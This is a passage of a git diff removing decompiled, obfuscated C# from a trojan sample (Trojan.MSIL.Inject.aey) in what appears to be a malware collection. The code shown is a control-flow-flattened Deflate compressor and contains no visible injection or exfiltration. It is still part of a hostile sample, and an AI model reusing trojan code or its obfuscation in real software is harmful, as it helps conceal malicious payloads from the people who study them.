(num) - { - case 0: - Array.Copy((Array) _param1, _param2 + length1, (Array) this.\uE000, 0, length2); - num = 1; - continue; - case 1: - this.\uE001 = length2; - num = 4; - continue; - case 2: - length2 = this.\uE001 + _param3 - this.\uE002; - num = 3; - continue; - case 3: - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, length1); - num = 0; - continue; - case 4: - goto label_12; - default: - goto label_5; - } - } -label_12:; - } - else - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, _param3); - this.\uE001 += _param3; - if (this.\uE001 != this.\uE002) - return; - this.\uE001 = 0; - } - } - - internal byte[] \uE002(int _param1, int _param2) - { - byte[] destinationArray = new byte[_param2]; - if ((this.\uE001 >= _param1 ? 0 : 1) == 0) - { - Array.Copy((Array) this.\uE000, this.\uE001 - _param1, (Array) destinationArray, 0, _param2); - } - else - { - int num1 = _param1 - this.\uE001; -label_4: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - Array.Copy((Array) this.\uE000, 0, (Array) destinationArray, num1, _param2 - num1); - num2 = 3; - continue; - case 1: - if (num1 < _param2) - { - num2 = 2; - continue; - } - goto label_9; - case 2: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, num1); - num2 = 0; - continue; - case 3: - goto label_10; - default: - goto label_4; - } - } -label_9: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, _param2); - } -label_10: - return destinationArray; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 86d0b86e..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,1584 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.Collections; -using System.IO; - -internal sealed class \uE00F -{ - public sealed class \uE000 : Stream, IDisposable - { - private const int \uE000 = 8192; - private Stream \uE001; - private bool \uE002; - private bool \uE003; - private \uE00F.\uE008 \uE004; - private byte[] \uE005; - private int \uE006; - - public \uE000(Stream _param1) - : this(_param1, false) - { - } - - public \uE000(Stream _param1, bool _param2) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_4: - int num = 1; - while (true) - { - switch (num) - { - case 0: - this.\uE004 = new \uE00F.\uE008(_param1); - num = 4; - continue; - case 1: - this.\uE002 = _param2; - num = 2; - continue; - case 2: - this.\uE003 = true; - num = 3; - continue; - case 3: - this.\uE005 = new byte[8192]; - num = 0; - continue; - case 4: - goto label_9; - default: - goto label_4; - } - } -label_9:; - } - - public Stream \uE000 => this.\uE001; - - public override bool CanSeek => false; - - public override bool CanRead => false; - - public override bool CanWrite => true; - - public override long Length => throw new NotImplementedException(); - - public override long Position - { - get => throw new NotImplementedException(); - set => throw new NotImplementedException(); - } - - public override long Seek(long offset, SeekOrigin origin) => throw new NotImplementedException(); - - public override void SetLength(long value) => throw new NotImplementedException(); - - private void \uE000() - { - if (!this.\uE003) - throw new InvalidOperationException("Stream is closed."); - } - - public override int Read(byte[] buffer, int offset, int count) => throw new NotSupportedException(); - - public override void Write(byte[] buffer, int offset, int count) - { - if ((count >= 0 ? 0 : 1) != 0 || count > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (count)); - if (offset < 0 || offset > buffer.Length) - throw new ArgumentOutOfRangeException(nameof (offset)); - if (offset + count > buffer.Length) - throw new ArgumentException("offset + count out of buffer"); - this.\uE000(); - if (this.\uE006 + count > 8192) - this.\uE001(); - if (count >= 8192) - { - int num; - for (num = 0; count - num > 32768; num += 32768) - this.\uE004.\uE002(buffer, offset + num, 32768, false); - this.\uE004.\uE002(buffer, offset + num, count - num, false); - } - else - { - Array.Copy((Array) buffer, offset, (Array) this.\uE005, this.\uE006, count); -label_15: - int num = 1; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 == 8192) - { - num = 2; - continue; - } - goto label_19; - case 1: - this.\uE006 += count; - num = 0; - continue; - case 2: - goto label_20; - default: - goto label_15; - } - } -label_19: - return; -label_20: - this.\uE001(); - } - } - - private void \uE001() - { - if (this.\uE006 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, false); - num = 1; - continue; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE006 = 0; - } - - public override void Flush() - { - this.\uE000(); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006 > 0) - { - num = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - this.\uE001(); -label_6: - this.\uE004.\uE001(true, false); - this.\uE000.Flush(); - } - - private void \uE002() - { - if (this.\uE006 > 0) - { -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE004.\uE002(this.\uE005, 0, this.\uE006, true); - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - else - this.\uE004.\uE001(false, true); - } - - void IDisposable.Dispose() - { - if ((!this.\uE003 ? 1 : 0) == 0) - { - this.\uE002(); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE005 = (byte[]) null; - num = 2; - continue; - case 1: - if (!this.\uE002) - { - num = 3; - continue; - } - goto label_10; - case 2: - this.\uE004 = (\uE00F.\uE008) null; - num = 1; - continue; - case 3: - this.\uE001.Close(); - num = 4; - continue; - case 4: - goto label_9; - default: - goto label_3; - } - } -label_9: - this.\uE001 = (Stream) null; -label_10: - this.\uE003 = false; - } - this.Close(); - } - } - - private sealed class \uE008 - { - public const int \uE000 = 32768; - private Stream \uE001; - private \uE00F.\uE00E \uE002; - private \uE00F.\uE00A \uE003; - - public \uE008(Stream _param1) - { - this.\uE001 = (_param1 == null ? 0 : 1) != 0 ? _param1 : throw new ArgumentNullException(); -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 = new \uE00F.\uE00E(_param1); - num = 1; - continue; - case 1: - this.\uE003 = new \uE00F.\uE00A(); - num = 2; - continue; - case 2: - goto label_4; - default: - goto label_5; - } - } -label_4:; - } - - public Stream \uE000 => this.\uE001; - - internal void \uE000( - \uE00F.\uE00D _param1, - out int[] _param2, - out int[] _param3, - out int _param4) - { - _param2 = new int[286]; - _param3 = new int[30]; - _param4 = 0; - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_10; -label_1: - ushort index3 = (ushort) _param1.\uE000[index1]; - if (index3 <= (ushort) 256) - { - ++_param2[(int) index3]; - ++index1; - } - else - { - ++_param2[(int) index3]; -label_5: - int num = 0; - while (true) - { - switch (num) - { - case 0: - ++_param3[(int) (ushort) _param1.\uE000[index1 + 2]]; - num = 2; - continue; - case 1: - _param4 += (int) (byte) _param1.\uE001[index2] + (int) (byte) _param1.\uE001[index2 + 1]; - num = 3; - continue; - case 2: - index1 += 4; - num = 1; - continue; - case 3: - goto label_9; - default: - goto label_5; - } - } -label_9: - index2 += 2; - } -label_10: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - public void \uE001(bool _param1, bool _param2) - { - this.\uE002.\uE000(_param2); - if ((!_param1 ? 1 : 0) == 0) - { - this.\uE002.\uE001(0, 2); -label_3: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002.\uE003(); - num = 2; - continue; - case 1: - this.\uE002.\uE001((int) ushort.MaxValue, 16); - num = 3; - continue; - case 2: - this.\uE002.\uE001(0, 16); - num = 1; - continue; - case 3: - goto label_8; - default: - goto label_3; - } - } - } - else - { - this.\uE002.\uE001(1, 2); - \uE00B obj = \uE00A.\uE011[256]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - } -label_8: - if (!_param2) - return; - this.\uE002.\uE003(); - } - - public void \uE002(byte[] _param1, int _param2, int _param3, bool _param4) - { - if (_param3 > 32768) - throw new ArgumentOutOfRangeException(); - \uE00F.\uE00D obj = this.\uE003.\uE000(_param1, _param2, _param3); - if ((obj == null ? 0 : 1) == 0) - throw new InvalidOperationException(); - if (obj.\uE002 != _param3) - throw new InvalidOperationException(); - obj.\uE002(); - int[] numArray1; - int[] numArray2; - int num1; - this.\uE000(obj, out numArray1, out numArray2, out num1); - int[] numArray3 = \uE00A.\uE00B(numArray1); - int[] numArray4 = \uE00A.\uE00B(numArray2); - int num2 = (4 + _param3) * 8; - int num3 = this.\uE002.\uE001 >= 3 ? num2 + (this.\uE002.\uE001 - 3) : num2 + (5 + this.\uE002.\uE001); - int num4 = \uE00A.\uE000(numArray3, numArray1) + \uE00A.\uE000(numArray4, numArray2) + num1; - int num5 = \uE00A.\uE001(numArray3, numArray4) + num1; - bool flag1 = num5 <= num4 || num3 <= num4; - if (!flag1) - { - int num6 = num4 + this.\uE006(numArray3, numArray4); - flag1 = num5 <= num6 || num3 <= num6; - } - bool flag2 = num3 < num5; - this.\uE002.\uE000(_param4); - if (flag2 && flag1) - { - this.\uE002.\uE001(0, 2); -label_11: - int num7 = 3; - int num8; - int num9; - while (true) - { - switch (num7) - { - case 0: - this.\uE002.\uE003(); - num7 = 6; - continue; - case 1: - this.\uE002.\uE001(num8, 16); - num7 = 2; - continue; - case 2: - this.\uE002.\uE001(num9, 16); - num7 = 0; - continue; - case 3: - this.\uE002.\uE003(); - num7 = 5; - continue; - case 4: - num9 = ~_param3 & (int) ushort.MaxValue; - num7 = 1; - continue; - case 5: - num8 = _param3; - num7 = 4; - continue; - case 6: - this.\uE004(_param1, _param2, _param3); - num7 = 7; - continue; - case 7: - goto label_23; - default: - goto label_11; - } - } - } - else - { - \uE00B[] objArray1; - \uE00B[] objArray2; - if (flag1) - { - this.\uE002.\uE001(1, 2); - objArray1 = \uE00A.\uE011; - objArray2 = \uE00A.\uE012; - } - else - { - this.\uE002.\uE001(2, 2); - this.\uE005(numArray3, numArray4); - objArray1 = \uE00A.\uE002(numArray3); - objArray2 = \uE00A.\uE002(numArray4); - } - this.\uE003(obj, objArray1, objArray2); - } -label_23: - if (!_param4) - return; - this.\uE002.\uE003(); - } - - private void \uE003(\uE00F.\uE00D _param1, \uE00B[] _param2, \uE00B[] _param3) - { - int index1 = 0; - int index2 = 0; - if ((index2 == 0 ? 1 : 0) != 0) - goto label_15; -label_1: - int index3 = (int) (ushort) _param1.\uE000[index1]; - if (index3 <= 256) - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - ++index1; - } - else - { - \uE00B obj = _param2[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if ((byte) _param1.\uE001[index2] > (byte) 0) - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index1 + 1], (int) (byte) _param1.\uE001[index2]); - int index4 = index1 + 2; -label_7: - int num = 3; - while (true) - { - switch (num) - { - case 0: - obj = _param3[(int) (ushort) _param1.\uE000[index4]]; - num = 2; - continue; - case 1: - if ((byte) _param1.\uE001[index2] > (byte) 0) - { - num = 4; - continue; - } - goto label_14; - case 2: - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - num = 1; - continue; - case 3: - ++index2; - num = 0; - continue; - case 4: - goto label_13; - default: - goto label_7; - } - } -label_13: - this.\uE002.\uE001((int) (ushort) _param1.\uE000[index4 + 1], (int) (byte) _param1.\uE001[index2]); -label_14: - index1 = index4 + 2; - ++index2; - } -label_15: - if (index1 < _param1.\uE000.Count) - goto label_1; - } - - private void \uE004(byte[] _param1, int _param2, int _param3) => this.\uE000.Write(_param1, _param2, _param3); - - private void \uE005(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 286; - if ((num1 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num1; -label_2: - if (num1 <= 257 || _param1[num1 - 1] != 0) - { - int length = 30; - while (length > 1 && _param2[length - 1] == 0) - --length; - int[] destinationArray = new int[num1 + length]; - Array.Copy((Array) _param1, 0, (Array) destinationArray, 0, num1); - Array.Copy((Array) _param2, 0, (Array) destinationArray, num1, length); - int[] numArray2 = \uE00A.\uE00D(destinationArray, 0, destinationArray.Length); - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; - if (numArray2[index] >= 16) - ++index; - } - int[] numArray3 = \uE00A.\uE00A(numArray1, 7); - int[] numArray4 = \uE00A.\uE014; - int num2 = 19; - while (num2 > 4 && numArray3[numArray4[num2 - 1]] == 0) - --num2; - int num3 = num1 - 257; -label_16: - int num4 = 2; - int num5; - int num6; - \uE00B[] objArray; - int index1; - while (true) - { - switch (num4) - { - case 0: - this.\uE002.\uE001(num3, 5); - num4 = 5; - continue; - case 1: - num5 = num2 - 4; - num4 = 4; - continue; - case 2: - num6 = length - 1; - num4 = 1; - continue; - case 3: - this.\uE002.\uE001(num5, 4); - num4 = 6; - continue; - case 4: - objArray = \uE00A.\uE002(numArray3); - num4 = 0; - continue; - case 5: - this.\uE002.\uE001(num6, 5); - num4 = 3; - continue; - case 6: - index1 = 0; - num4 = 7; - continue; - case 7: - goto label_26; - default: - goto label_16; - } - } -label_26: - for (; index1 < num2; ++index1) - this.\uE002.\uE001(numArray3[numArray4[index1]], 3); - for (int index2 = 0; index2 < numArray2.Length; ++index2) - { - int index3 = numArray2[index2]; - \uE00B obj = objArray[index3]; - this.\uE002.\uE002(obj.\uE000, obj.\uE001); - if (index3 >= 16) - { - ++index2; - this.\uE002.\uE001(numArray2[index2], \uE00A.\uE00C(index3)); - } - } - } - else - goto label_1; - } - - private int \uE006(int[] _param1, int[] _param2) - { - int[] numArray1 = new int[19]; - int num1 = 0; - int num2 = 286; - if ((num2 == 0 ? 0 : 1) != 0) - goto label_2; -label_1: - --num2; -label_2: - if (num2 <= 257 || _param1[num2 - 1] != 0) - { - int[] numArray2 = \uE00A.\uE00D(_param1, 0, num2); -label_12: - for (int index = 0; index < numArray2.Length; ++index) - { - ++numArray1[numArray2[index]]; -label_6: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (numArray2[index] >= 16) - { - num3 = 1; - continue; - } - goto label_12; - case 1: - num1 += \uE00A.\uE00C(numArray2[index]); - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - ++index; - } - int num4 = 30; - while (num4 > 1 && _param2[num4 - 1] == 0) - --num4; - int[] numArray3 = \uE00A.\uE00D(_param2, 0, num4); - for (int index = 0; index < numArray3.Length; ++index) - { - ++numArray1[numArray3[index]]; - if (numArray3[index] >= 16) - { - num1 += \uE00A.\uE00C(numArray3[index]); - ++index; - } - } - int[] numArray4 = \uE00A.\uE00B(numArray1); - int num5 = \uE00A.\uE000(numArray1, numArray4); - int[] numArray5 = \uE00A.\uE014; - int num6 = 19; - while (num6 > 4 && numArray4[numArray5[num6 - 1]] == 0) - --num6; - return 14 + (num6 - 4 + 4) * 3 + num5 + num1; - } - goto label_1; - } - } - - private sealed class \uE009 - { - public static readonly \uE00F.\uE009 \uE000; - public int \uE001; - public int \uE002; - public int \uE003; - public int \uE004; - - static \uE009() - { - \uE00F.\uE009 obj = new \uE00F.\uE009(); -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - obj.\uE002 = 32; - num = 1; - continue; - case 1: - obj.\uE003 = 128; - num = 3; - continue; - case 2: - obj.\uE001 = 8; - num = 0; - continue; - case 3: - obj.\uE004 = 256; - num = 4; - continue; - case 4: - \uE00F.\uE009.\uE000 = obj; - num = 5; - continue; - case 5: - goto label_8; - default: - goto label_2; - } - } -label_8:; - } - } - - private sealed class \uE00A - { - private const int \uE000 = 258; - private const int \uE001 = 32768; - private \uE00F.\uE00C \uE002; - private \uE00F.\uE00B \uE003; - private \uE00F.\uE009 \uE004; - private int \uE005; - - internal \uE00A() - : this(\uE00F.\uE009.\uE000) - { - } - - internal \uE00A(\uE00F.\uE009 _param1) - { - this.\uE004 = _param1; -label_2: - int num = 2; - while (true) - { - switch (num) - { - case 0: - this.\uE003 = new \uE00F.\uE00B(32768); - num = 1; - continue; - case 1: - this.\uE005 = 0; - num = 3; - continue; - case 2: - this.\uE002 = new \uE00F.\uE00C(65536); - num = 0; - continue; - case 3: - goto label_6; - default: - goto label_2; - } - } -label_6:; - } - - internal \uE00F.\uE009 \uE000 => this.\uE004; - - public \uE00F.\uE00D \uE000(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002.\uE002 + _param3 > this.\uE002.\uE001) - { - int num = this.\uE002.\uE002 - 32768; - this.\uE002.\uE001(num); - if ((this.\uE005 >= num ? 0 : 1) == 0) - { - this.\uE005 -= num; - } - else - { - this.\uE003.\uE003(num - this.\uE005); - this.\uE005 = 0; - } - } - int num1 = this.\uE002.\uE002; -label_6: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE005 < num1) - { - num2 = 2; - continue; - } - goto label_11; - case 1: - this.\uE002.\uE000(_param1, _param2, _param3); - num2 = 0; - continue; - case 2: - goto label_10; - default: - goto label_6; - } - } -label_10: - this.\uE003.\uE002(this.\uE002.\uE000, this.\uE005, num1 - this.\uE005); -label_11: - return this.\uE000.\uE003 > 0 ? this.\uE002(this.\uE003, this.\uE002.\uE000, num1, _param3, out this.\uE005) : this.\uE001(this.\uE002.\uE000, num1, _param3); - } - - private \uE00F.\uE00D \uE001(byte[] _param1, int _param2, int _param3) - { - \uE00F.\uE00D obj = new \uE00F.\uE00D(); -label_2: - int num1 = 2; - int index; - while (true) - { - switch (num1) - { - case 0: - index = 0; - num1 = 1; - continue; - case 1: - if (index != 0) - { - num1 = 3; - continue; - } - goto label_8; - case 2: - obj.\uE000.Capacity = _param3 + 1; - num1 = 0; - continue; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - int num2 = 0; - goto label_9; -label_8: - num2 = 1; -label_9: - if (num2 != 0) - goto label_11; -label_10: - obj.\uE000(_param1[index]); - ++index; -label_11: - if (index >= _param3) - return obj; - goto label_10; - } - - private \uE00F.\uE00D \uE002( - \uE00F.\uE00B _param1, - byte[] _param2, - int _param3, - int _param4, - out int _param5) - { - \uE00F.\uE00D obj1 = new \uE00F.\uE00D(); - object obj2 = (object) null; - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_18; -label_1: - \uE00F.\uE00B.\uE000 obj3 = _param1.\uE000(_param2, _param3 + num1); - if (obj3 != null) - { - object obj4; - if (obj2 != null) - { - obj4 = obj2; - obj2 = (object) null; - } - else - obj4 = (object) this.\uE003(_param2, _param3, _param4, num1, obj3, 3); - \uE00F.\uE00A.\uE000 obj5 = (\uE00F.\uE00A.\uE000) obj4; - bool flag = obj5.\uE001 >= 3; - if (flag && num1 < _param4 - 3 && obj5.\uE001 < this.\uE004.\uE002) - { - \uE00F.\uE00B.\uE000 obj6 = _param1.\uE000(_param2, _param3 + num1 + 1); - if (obj6 != null) - { - \uE00F.\uE00A.\uE000 obj7 = this.\uE003(_param2, _param3, _param4, num1 + 1, obj6, obj5.\uE001 + 1); - if (obj7.\uE001 > obj5.\uE001) - { - obj2 = (object) obj7; - flag = false; - } - } - } - if (flag) - { - obj1.\uE001(num1 - obj5.\uE000, obj5.\uE001); -label_12: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - num1 += obj5.\uE001; - num2 = 1; - continue; - case 1: - _param1.\uE003(obj5.\uE001 - 1); - num2 = 3; - continue; - case 2: - _param1.\uE001(_param2, _param3 + num1); - num2 = 0; - continue; - case 3: - goto label_18; - default: - goto label_12; - } - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } - } - else - { - obj1.\uE000(_param2[_param3 + num1]); - _param1.\uE001(_param2, _param3 + num1); - ++num1; - } -label_18: - if (num1 >= _param4 - 2) - { - _param5 = _param3 + num1; - for (; num1 < _param4; ++num1) - obj1.\uE000(_param2[_param3 + num1]); - return obj1; - } - goto label_1; - } - - private \uE00F.\uE00A.\uE000 \uE003( - byte[] _param1, - int _param2, - int _param3, - int _param4, - \uE00F.\uE00B.\uE000 _param5, - int _param6) - { - int num1 = this.\uE004.\uE004; -label_2: - int num2 = 4; - int num3; - int num4; - int num5; - int num6; - int num7; - while (true) - { - switch (num2) - { - case 0: - num3 = _param2 + _param4; - num2 = 5; - continue; - case 1: - num4 = -1; - num2 = 3; - continue; - case 2: - num5 = _param6 - 1; - num2 = 0; - continue; - case 3: - num6 = 0; - num2 = 2; - continue; - case 4: - num7 = 0; - num2 = 1; - continue; - case 5: - goto label_17; - default: - goto label_2; - } - } -label_17: - while (_param5.\uE000()) - { - int num8 = 0; - int num9 = _param4 - _param5.\uE000; - if (_param4 + num5 < _param3) - { - int num10 = _param2 + num9; - if ((int) _param1[num10 + num5] == (int) _param1[num3 + num5]) - { - while (num8 < 258 && _param4 + num8 < _param3 && (int) _param1[num10 + num8] == (int) _param1[num3 + num8]) - ++num8; - if ((num8 >= num7 ? 0 : 1) == 0) - { - num7 = num8; - num5 = num8; - num4 = num9; - if (num7 >= this.\uE004.\uE003) - break; - } - if (num7 >= this.\uE004.\uE001) - num1 >>= 2; - } - if (++num6 >= num1) - break; - } - else - break; - } - return new \uE00F.\uE00A.\uE000() - { - \uE001 = num7, - \uE000 = num4 - }; - } - - private struct \uE000 - { - public int \uE000; - public int \uE001; - } - } - - private sealed class \uE00B - { - private const int \uE000 = 16777216; - private const int \uE001 = 256; - private const ushort \uE002 = 65535; - private const ushort \uE003 = 0; - private int \uE004; - private ushort[] \uE005; - private int[] \uE006; - private int \uE007; - - internal \uE00B(int _param1) - { - this.\uE004 = _param1; -label_2: - int num1 = 0; - int index; - while (true) - { - switch (num1) - { - case 0: - this.\uE005 = new ushort[this.\uE004]; - num1 = 1; - continue; - case 1: - this.\uE006 = new int[256]; - num1 = 3; - continue; - case 2: - if (index != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 3: - index = 0; - num1 = 2; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num2 = 0; - goto label_10; -label_9: - num2 = 1; -label_10: - if (num2 != 0) - goto label_12; -label_11: - this.\uE006[index] = (int) ushort.MaxValue; - ++index; -label_12: - if (index < 256) - goto label_11; - } - - internal \uE00F.\uE00B.\uE000 \uE000(byte[] _param1, int _param2) - { - int index = \uE00F.\uE00B.\uE004(_param1, _param2); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - if (this.\uE006[index] != (int) ushort.MaxValue) - { - num = 1; - continue; - } - goto label_7; - case 1: - if (this.\uE007 - this.\uE006[index] > this.\uE004) - { - num = 2; - continue; - } - goto label_8; - case 2: - goto label_7; - default: - goto label_2; - } - } -label_7: - return (\uE00F.\uE00B.\uE000) null; -label_8: - return new \uE00F.\uE00B.\uE000(this, this.\uE007 - this.\uE006[index]); - } - - internal void \uE001(byte[] _param1, int _param2) - { - int index1 = \uE00F.\uE00B.\uE004(_param1, _param2); - this.\uE005[this.\uE007 % this.\uE004] = this.\uE006[index1] == (int) ushort.MaxValue || (this.\uE007 - this.\uE006[index1] >= this.\uE004 ? 0 : 1) == 0 ? (ushort) 0 : (ushort) (this.\uE007 - this.\uE006[index1]); - this.\uE006[index1] = this.\uE007; -label_2: - int num1 = 3; - int num2; - int index2; - int num3; - while (true) - { - switch (num1) - { - case 0: - num2 = this.\uE007 - this.\uE004; - num1 = 4; - continue; - case 1: - index2 = 0; - num1 = 5; - continue; - case 2: - if (num3 >= 16777216) - { - num1 = 0; - continue; - } - goto label_14; - case 3: - num3 = ++this.\uE007; - num1 = 2; - continue; - case 4: - num2 -= num2 % this.\uE004; - num1 = 1; - continue; - case 5: - goto label_13; - default: - goto label_2; - } - } -label_14: - return; -label_13: - for (; index2 < this.\uE006.Length; ++index2) - { - if (this.\uE006[index2] >= num2) - this.\uE006[index2] -= num2; - else - this.\uE006[index2] = 0; - } - this.\uE007 -= num2; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_6; - else - goto label_3; -label_2: - int num2; - switch (num2) - { - case 0: - goto label_4; - case 1: - ++num1; - goto label_6; - } -label_3: - num2 = 0; - goto label_2; -label_4: - this.\uE001(_param1, _param2 + num1); - num2 = 1; - goto label_2; -label_6: - if (num1 < _param3) - goto label_4; - } - - internal void \uE003(int _param1) => this.\uE007 += _param1; - - private static int \uE004(byte[] _param0, int _param1) => (int) (byte) ((uint) _param0[_param1] + (uint) _param0[_param1 + 1] + (uint) _param0[_param1 + 2]); - - internal sealed class \uE000 - { - private \uE00F.\uE00B \uE000; - private int \uE001; - private int \uE002; - - internal \uE000(\uE00F.\uE00B _param1, int _param2) - { - this.\uE000 = _param1; - this.\uE001 = _param2; - } - - internal int \uE000 => this.\uE001; - - internal bool \uE000() - { - if ((this.\uE002 == 0 ? 0 : 1) == 0) - { - this.\uE002 = 1; - return true; - } - if (this.\uE002 == 1) - { - ushort num1 = this.\uE000.\uE005[(this.\uE000.\uE007 - this.\uE001) % this.\uE000.\uE004]; -label_5: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - if (this.\uE001 <= this.\uE000.\uE004) - { - num2 = 3; - continue; - } - goto label_12; - case 1: - if (num1 != (ushort) 0) - { - num2 = 2; - continue; - } - goto label_12; - case 2: - this.\uE001 += (int) num1; - num2 = 0; - continue; - case 3: - goto label_11; - default: - goto label_5; - } - } -label_11: - return true; -label_12: - this.\uE002 = 2; - } - return false; - } - } - } - - private sealed class \uE00C - { - private int \uE000; - private byte[] \uE001; - private int \uE002; - - public \uE00C(int _param1) - { - this.\uE000 = _param1; - this.\uE001 = new byte[_param1]; - this.\uE002 = 0; - } - - public byte[] \uE000 => this.\uE001; - - public int \uE001 => this.\uE000; - - public int \uE002 => this.\uE002; - - public void \uE000(byte[] _param1, int _param2, int _param3) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE001, this.\uE002, _param3); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 += _param3; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - public void \uE001(int _param1) - { - Array.Copy((Array) this.\uE001, _param1, (Array) this.\uE001, 0, this.\uE002 - _param1); -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE002 -= _param1; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - } - - private sealed class \uE00D - { - internal ArrayList \uE000 = new ArrayList(); - internal ArrayList \uE001 = new ArrayList(); - internal int \uE002; - - public void \uE000(byte _param1) - { - this.\uE000.Add((object) (ushort) _param1); - ++this.\uE002; - } - - public void \uE001(int _param1, int _param2) - { - if ((_param1 >= 1 ? 0 : 1) != 0 || _param1 > 32768) - throw new ArgumentOutOfRangeException(); - if (_param2 < 3 || _param2 > 258) - throw new ArgumentOutOfRangeException(); - int num1; - int num2; - int num3; - \uE00A.\uE008(_param2, out num1, out num2, out num3); -label_6: - int num4 = 6; - int num5; - int num6; - int num7; - while (true) - { - switch (num4) - { - case 0: - this.\uE000.Add((object) (ushort) num2); - num4 = 4; - continue; - case 1: - this.\uE000.Add((object) (ushort) num5); - num4 = 7; - continue; - case 2: - this.\uE000.Add((object) (ushort) num1); - num4 = 0; - continue; - case 3: - this.\uE001.Add((object) (byte) num6); - num4 = 5; - continue; - case 4: - this.\uE001.Add((object) (byte) num3); - num4 = 1; - continue; - case 5: - this.\uE002 += _param2; - num4 = 8; - continue; - case 6: - \uE00A.\uE009(_param1, out num5, out num7, out num6); - num4 = 2; - continue; - case 7: - this.\uE000.Add((object) (ushort) num7); - num4 = 3; - continue; - case 8: - goto label_15; - default: - goto label_6; - } - } -label_15:; - } - - internal void \uE002() => this.\uE000.Add((object) (ushort) 256); - } - - private sealed class \uE00E - { - private uint \uE000; - private int \uE001; - private Stream \uE002; - - internal \uE00E(Stream _param1) => this.\uE002 = _param1; - - internal Stream \uE000 => this.\uE002; - - internal int \uE001 => (32 - this.\uE001) % 8; - - internal void \uE000(bool _param1) => this.\uE001(_param1 ? 1 : 0, 1); - - internal void \uE001(int _param1, int _param2) - { - uint num1 = this.\uE000 | checked ((uint) _param1) << this.\uE001; - int num2; - for (num2 = this.\uE001 + _param2; num2 >= 8; num2 -= 8) - { - this.\uE000.WriteByte((byte) num1); - num1 >>= 8; - } -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - this.\uE000 = num1; - num3 = 1; - continue; - case 1: - this.\uE001 = num2; - num3 = 2; - continue; - case 2: - goto label_3; - default: - goto label_5; - } - } -label_3:; - } - - internal void \uE002(int _param1, int _param2) - { - int num1 = 0; -label_7: - for (int index = _param2 - 1; index >= 0; --index) - { - num1 <<= 1; -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - num1 |= _param1 & 1; - num2 = 1; - continue; - case 1: - _param1 >>= 1; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_3; - } - } - } - this.\uE001(num1, _param2); - } - - internal void \uE003() - { - if (this.\uE001 <= 0) - return; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000.WriteByte((byte) 